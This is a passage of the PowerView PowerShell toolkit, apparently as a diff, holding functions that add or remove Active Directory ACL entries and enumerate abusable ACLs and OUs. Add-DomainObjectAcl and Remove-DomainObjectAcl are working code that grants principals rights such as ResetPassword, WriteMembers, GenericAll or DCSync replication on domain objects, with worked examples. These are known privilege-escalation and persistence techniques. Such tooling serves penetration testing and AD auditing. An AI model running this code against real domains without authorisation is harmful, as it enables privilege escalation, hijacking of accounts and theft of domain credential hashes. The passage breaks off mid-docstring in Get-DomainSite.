# ResetPassword doesn't need to know the user's current password + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + # allows for the modification of group membership + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} + } + } + + ForEach ($PrincipalObject in $Principals) { + Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname)" + + try { + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) + + if ($GUIDs) { + ForEach ($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType + } + } + else { + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType + } + + # add all the new ACEs to the specified object directory entry + ForEach ($ACE in $ACEs) { + Write-Verbose "[Add-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" + $TargetEntry = $TargetObject.GetDirectoryEntry() + $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' + $TargetEntry.PsBase.ObjectSecurity.AddAccessRule($ACE) + $TargetEntry.PsBase.CommitChanges() + } + } + catch { + Write-Verbose "[Add-DomainObjectAcl] Error granting principal $($PrincipalObject.distinguishedname) '$Rights' on $($TargetObject.Properties.distinguishedname) : $_" + } + } + } + } +} + + +function Remove-DomainObjectAcl { +<# +.SYNOPSIS + +Removes an ACL from a specific active directory object. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObject + +.DESCRIPTION + +This function modifies the ACL/ACE entries for a given Active Directory +target object specified by -TargetIdentity. Available -Rights are +'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended +rights GUID can be set with -RightsGUID. These rights are removed from the target +object for the specified -PrincipalIdentity. + +.PARAMETER TargetIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain object to modify ACLs for. Required. Wildcards accepted. + +.PARAMETER TargetDomain + +Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain. + +.PARAMETER TargetLDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory object targets. + +.PARAMETER TargetSearchBase + +The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER PrincipalIdentity + +A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local), +SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201) +for the domain principal to add for the ACL. Required. Wildcards accepted. + +.PARAMETER PrincipalDomain + +Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Rights + +Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'. +Defaults to 'All'. + +.PARAMETER RightsGUID + +Manual GUID representing the right to add to the target. + +.EXAMPLE + +$UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid +Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} + +[no results returned] + +Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword + +Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID } + +AceQualifier : AccessAllowed +ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local +ActiveDirectoryRights : ExtendedRight +ObjectAceType : User-Force-Change-Password +ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105 +InheritanceFlags : None +BinaryLength : 56 +AceType : AccessAllowedObject +ObjectAceFlags : ObjectAceTypePresent +IsCallback : False +PropagationFlags : None +SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104 +AccessMask : 256 +AuditFlags : None +IsInherited : False +AceFlags : None +InheritedObjectAceType : All +OpaqueLength : 0 + + +Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword + +Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID} + +[no results returned] + +.LINK + +https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DistinguishedName', 'SamAccountName', 'Name')] + [String[]] + $TargetIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $TargetDomain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $TargetLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $TargetSearchBase, + + [Parameter(Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $PrincipalIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $PrincipalDomain, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [ValidateSet('All', 'ResetPassword', 'WriteMembers', 'DCSync')] + [String] + $Rights = 'All', + + [Guid] + $RightsGUID + ) + + BEGIN { + $TargetSearcherArguments = @{ + 'Properties' = 'distinguishedname' + 'Raw' = $True + } + if ($PSBoundParameters['TargetDomain']) { $TargetSearcherArguments['Domain'] = $TargetDomain } + if ($PSBoundParameters['TargetLDAPFilter']) { $TargetSearcherArguments['LDAPFilter'] = $TargetLDAPFilter } + if ($PSBoundParameters['TargetSearchBase']) { $TargetSearcherArguments['SearchBase'] = $TargetSearchBase } + if ($PSBoundParameters['Server']) { $TargetSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $TargetSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $TargetSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $TargetSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $TargetSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $TargetSearcherArguments['Credential'] = $Credential } + + $PrincipalSearcherArguments = @{ + 'Identity' = $PrincipalIdentity + 'Properties' = 'distinguishedname,objectsid' + } + if ($PSBoundParameters['PrincipalDomain']) { $PrincipalSearcherArguments['Domain'] = $PrincipalDomain } + if ($PSBoundParameters['Server']) { $PrincipalSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $PrincipalSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $PrincipalSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $PrincipalSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $PrincipalSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $PrincipalSearcherArguments['Credential'] = $Credential } + $Principals = Get-DomainObject @PrincipalSearcherArguments + if (-not $Principals) { + throw "Unable to resolve principal: $PrincipalIdentity" + } + } + + PROCESS { + $TargetSearcherArguments['Identity'] = $TargetIdentity + $Targets = Get-DomainObject @TargetSearcherArguments + + ForEach ($TargetObject in $Targets) { + + $InheritanceType = [System.DirectoryServices.ActiveDirectorySecurityInheritance] 'None' + $ControlType = [System.Security.AccessControl.AccessControlType] 'Allow' + $ACEs = @() + + if ($RightsGUID) { + $GUIDs = @($RightsGUID) + } + else { + $GUIDs = Switch ($Rights) { + # ResetPassword doesn't need to know the user's current password + 'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' } + # allows for the modification of group membership + 'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' } + # 'DS-Replication-Get-Changes' = 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-All' = 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 + # 'DS-Replication-Get-Changes-In-Filtered-Set' = 89e95b76-444d-4c62-991a-0facbeda640c + # when applied to a domain's ACL, allows for the use of DCSync + 'DCSync' { '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', '89e95b76-444d-4c62-991a-0facbeda640c'} + } + } + + ForEach ($PrincipalObject in $Principals) { + Write-Verbose "[Remove-DomainObjectAcl] Removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname)" + + try { + $Identity = [System.Security.Principal.IdentityReference] ([System.Security.Principal.SecurityIdentifier]$PrincipalObject.objectsid) + + if ($GUIDs) { + ForEach ($GUID in $GUIDs) { + $NewGUID = New-Object Guid $GUID + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'ExtendedRight' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $NewGUID, $InheritanceType + } + } + else { + # deault to GenericAll rights + $ADRights = [System.DirectoryServices.ActiveDirectoryRights] 'GenericAll' + $ACEs += New-Object System.DirectoryServices.ActiveDirectoryAccessRule $Identity, $ADRights, $ControlType, $InheritanceType + } + + # remove all the specified ACEs from the specified object directory entry + ForEach ($ACE in $ACEs) { + Write-Verbose "[Remove-DomainObjectAcl] Granting principal $($PrincipalObject.distinguishedname) rights GUID '$($ACE.ObjectType)' on $($TargetObject.Properties.distinguishedname)" + $TargetEntry = $TargetObject.GetDirectoryEntry() + $TargetEntry.PsBase.Options.SecurityMasks = 'Dacl' + $TargetEntry.PsBase.ObjectSecurity.RemoveAccessRule($ACE) + $TargetEntry.PsBase.CommitChanges() + } + } + catch { + Write-Verbose "[Remove-DomainObjectAcl] Error removing principal $($PrincipalObject.distinguishedname) '$Rights' from $($TargetObject.Properties.distinguishedname) : $_" + } + } + } + } +} + + +function Find-InterestingDomainAcl { +<# +.SYNOPSIS + +Finds object ACLs in the current (or specified) domain with modification +rights set to non-built in objects. + +Thanks Sean Metcalf (@pyrotek3) for the idea and guidance. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainObjectAcl, Get-DomainObject, Convert-ADName + +.DESCRIPTION + +This function enumerates the ACLs for every object in the domain with Get-DomainObjectAcl, +and for each returned ACE entry it checks if principal security identifier +is *-1000 (meaning the account is not built in), and also checks if the rights for +the ACE mean the object can be modified by the principal. If these conditions are met, +then the security identifier SID is translated, the domain object is retrieved, and +additional IdentityReference* information is appended to the output object. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER ResolveGUIDs + +Switch. Resolve GUIDs to their display names. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.EXAMPLE + +Find-InterestingDomainAcl + +Finds interesting object ACLS in the current domain. + +.EXAMPLE + +Find-InterestingDomainAcl -Domain dev.testlab.local -ResolveGUIDs + +Finds interesting object ACLS in the ev.testlab.local domain and +resolves rights GUIDs to display names. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingDomainAcl -Credential $Cred -ResolveGUIDs + +.OUTPUTS + +PowerView.ACL + +Custom PSObject with ACL entries. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.ACL')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DomainName', 'Name')] + [String] + $Domain, + + [Switch] + $ResolveGUIDs, + + [String] + [ValidateSet('All', 'ResetPassword', 'WriteMembers')] + $RightsFilter, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $ACLArguments = @{} + if ($PSBoundParameters['ResolveGUIDs']) { $ACLArguments['ResolveGUIDs'] = $ResolveGUIDs } + if ($PSBoundParameters['RightsFilter']) { $ACLArguments['RightsFilter'] = $RightsFilter } + if ($PSBoundParameters['LDAPFilter']) { $ACLArguments['LDAPFilter'] = $LDAPFilter } + if ($PSBoundParameters['SearchBase']) { $ACLArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $ACLArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ACLArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ACLArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ACLArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ACLArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ACLArguments['Credential'] = $Credential } + + $ObjectSearcherArguments = @{ + 'Properties' = 'samaccountname,objectclass' + 'Raw' = $True + } + if ($PSBoundParameters['Server']) { $ObjectSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ObjectSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ObjectSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ObjectSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ObjectSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ObjectSearcherArguments['Credential'] = $Credential } + + $ADNameArguments = @{} + if ($PSBoundParameters['Server']) { $ADNameArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $ADNameArguments['Credential'] = $Credential } + + # ongoing list of built-up SIDs + $ResolvedSIDs = @{} + } + + PROCESS { + if ($PSBoundParameters['Domain']) { + $ACLArguments['Domain'] = $Domain + $ADNameArguments['Domain'] = $Domain + } + + Get-DomainObjectAcl @ACLArguments | ForEach-Object { + + if ( ($_.ActiveDirectoryRights -match 'GenericAll|Write|Create|Delete') -or (($_.ActiveDirectoryRights -match 'ExtendedRight') -and ($_.AceQualifier -match 'Allow'))) { + # only process SIDs > 1000 + if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { + if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { + $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] + + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL + } + else { + $IdentityReferenceDN = Convert-ADName -Identity $_.SecurityIdentifier.Value -OutputType DN @ADNameArguments + # "IdentityReferenceDN: $IdentityReferenceDN" + + if ($IdentityReferenceDN) { + $IdentityReferenceDomain = $IdentityReferenceDN.SubString($IdentityReferenceDN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + # "IdentityReferenceDomain: $IdentityReferenceDomain" + $ObjectSearcherArguments['Domain'] = $IdentityReferenceDomain + $ObjectSearcherArguments['Identity'] = $IdentityReferenceDN + # "IdentityReferenceDN: $IdentityReferenceDN" + $Object = Get-DomainObject @ObjectSearcherArguments + + if ($Object) { + $IdentityReferenceName = $Object.Properties.samaccountname[0] + if ($Object.Properties.objectclass -match 'computer') { + $IdentityReferenceClass = 'computer' + } + elseif ($Object.Properties.objectclass -match 'group') { + $IdentityReferenceClass = 'group' + } + elseif ($Object.Properties.objectclass -match 'user') { + $IdentityReferenceClass = 'user' + } + else { + $IdentityReferenceClass = $Null + } + + # save so we don't look up more than once + $ResolvedSIDs[$_.SecurityIdentifier.Value] = $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass + + $InterestingACL = New-Object PSObject + $InterestingACL | Add-Member NoteProperty 'ObjectDN' $_.ObjectDN + $InterestingACL | Add-Member NoteProperty 'AceQualifier' $_.AceQualifier + $InterestingACL | Add-Member NoteProperty 'ActiveDirectoryRights' $_.ActiveDirectoryRights + if ($_.ObjectAceType) { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' $_.ObjectAceType + } + else { + $InterestingACL | Add-Member NoteProperty 'ObjectAceType' 'None' + } + $InterestingACL | Add-Member NoteProperty 'AceFlags' $_.AceFlags + $InterestingACL | Add-Member NoteProperty 'AceType' $_.AceType + $InterestingACL | Add-Member NoteProperty 'InheritanceFlags' $_.InheritanceFlags + $InterestingACL | Add-Member NoteProperty 'SecurityIdentifier' $_.SecurityIdentifier + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDomain' $IdentityReferenceDomain + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceDN' $IdentityReferenceDN + $InterestingACL | Add-Member NoteProperty 'IdentityReferenceClass' $IdentityReferenceClass + $InterestingACL + } + } + else { + Write-Warning "[Find-InterestingDomainAcl] Unable to convert SID '$($_.SecurityIdentifier.Value )' to a distinguishedname with Convert-ADName" + } + } + } + } + } + } +} + + +function Get-DomainOU { +<# +.SYNOPSIS + +Search for all organization units (OUs) or specific OU objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all OU objects for +the current domain are returned. + +.PARAMETER Identity + +An OU name (e.g. TestOU), DistinguishedName (e.g. OU=TestOU,DC=testlab,DC=local), or +GUID (e.g. 8a9ba22a-8977-47e6-84ce-8c26af4e1e6a). Wildcards accepted. + +.PARAMETER GPLink + +Only return OUs with the specified GUID in their gplink property. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER SecurityMasks + +Specifies an option for examining security information of a directory object. +One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'. + +.PARAMETER FindOne + +Only return one result object. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain. + +.PARAMETER Raw + +Switch. Return raw results instead of translating the fields into a custom PSObject. + +.EXAMPLE + +Get-DomainOU + +Returns the current OUs in the domain. + +.EXAMPLE + +Get-DomainOU *admin* -Domain testlab.local + +Returns all OUs with "admin" in their name in the testlab.local domain. + +.EXAMPLE + +Get-DomainOU -GPLink "F260B76D-55C8-46C5-BEF1-9016DD98E272" + +Returns all OUs with linked to the specified group policy object. + +.EXAMPLE + +"*admin*","*server*" | Get-DomainOU + +Search for OUs with the specific names. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-DomainOU -Credential $Cred + +.OUTPUTS + +PowerView.OU + +Custom PSObject with translated OU property fields. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.OU')] + [CmdletBinding()] + Param ( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('Name')] + [String[]] + $Identity, + + [ValidateNotNullOrEmpty()] + [String] + [Alias('GUID')] + $GPLink, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [Alias('Filter')] + [String] + $LDAPFilter, + + [ValidateNotNullOrEmpty()] + [String[]] + $Properties, + + [ValidateNotNullOrEmpty()] + [Alias('ADSPath')] + [String] + $SearchBase, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')] + [String] + $SecurityMasks, + + [Switch] + $Tombstone, + + [Alias('ReturnOne')] + [Switch] + $FindOne, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $Raw + ) + + BEGIN { + $SearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } + if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } + if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } + if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } + $OUSearcher = Get-DomainSearcher @SearcherArguments + } + + PROCESS { + if ($OUSearcher) { + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^OU=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainOU] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $OUSearcher = Get-DomainSearcher @SearcherArguments + if (-not $OUSearcher) { + Write-Warning "[Get-DomainOU] Unable to retrieve domain searcher for '$IdentityDomain'" + } + } + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } + + if ($PSBoundParameters['GPLink']) { + Write-Verbose "[Get-DomainOU] Searching for OUs with $GPLink set in the gpLink property" + $Filter += "(gplink=*$GPLink*)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainOU] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + $OUSearcher.filter = "(&(objectCategory=organizationalUnit)$Filter)" + Write-Verbose "[Get-DomainOU] Get-DomainOU filter string: $($OUSearcher.filter)" + + if ($PSBoundParameters['FindOne']) { $Results = $OUSearcher.FindOne() } + else { $Results = $OUSearcher.FindAll() } + $Results | Where-Object {$_} | ForEach-Object { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $OU = $_ + } + else { + $OU = Convert-LDAPProperty -Properties $_.Properties + } + $OU.PSObject.TypeNames.Insert(0, 'PowerView.OU') + $OU + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainOU] Error disposing of the Results object: $_" + } + } + $OUSearcher.dispose() + } + } +} + + +function Get-DomainSite { +<# +.SYNOPSIS + +Search for all sites or specific site objects in AD. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty + +.DESCRIPTION + +Builds a directory searcher object using Get-DomainSearcher, builds a custom +LDAP filter based on targeting/filter parameters, and searches for all objects +matching the criteria. To only return specific properties, use +"-Properties whencreated,usnchanged,...". By default, all site objects for +the current domain are returned. + +.PARAMETER Identity + +An site name (e.g. Test-Site), DistinguishedName (e.g. CN=Test-Site,CN=Sites,CN=Configuration,DC=testlab,DC=local), or +GUID (e.g. c37726ef-2b64-4524-b85b-6a9700c234dd). Wildcards accepted. + +.PARAMETER GPLink + +Only return sites with the specified GUID in their gplink property. + +.PARAMETER Domain + +Specifies the domain to use for the query, defaults to the current domain. + +.PARAMETER LDAPFilter + +Specifies an LDAP query string that is used to filter Active Directory objects. + +.PARAMETER Properties + +Specifies the properties of the output object to retrieve from the server. + +.PARAMETER SearchBase + +The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" +Useful for OU queries. + +.PARAMETER Server + +Specifies an 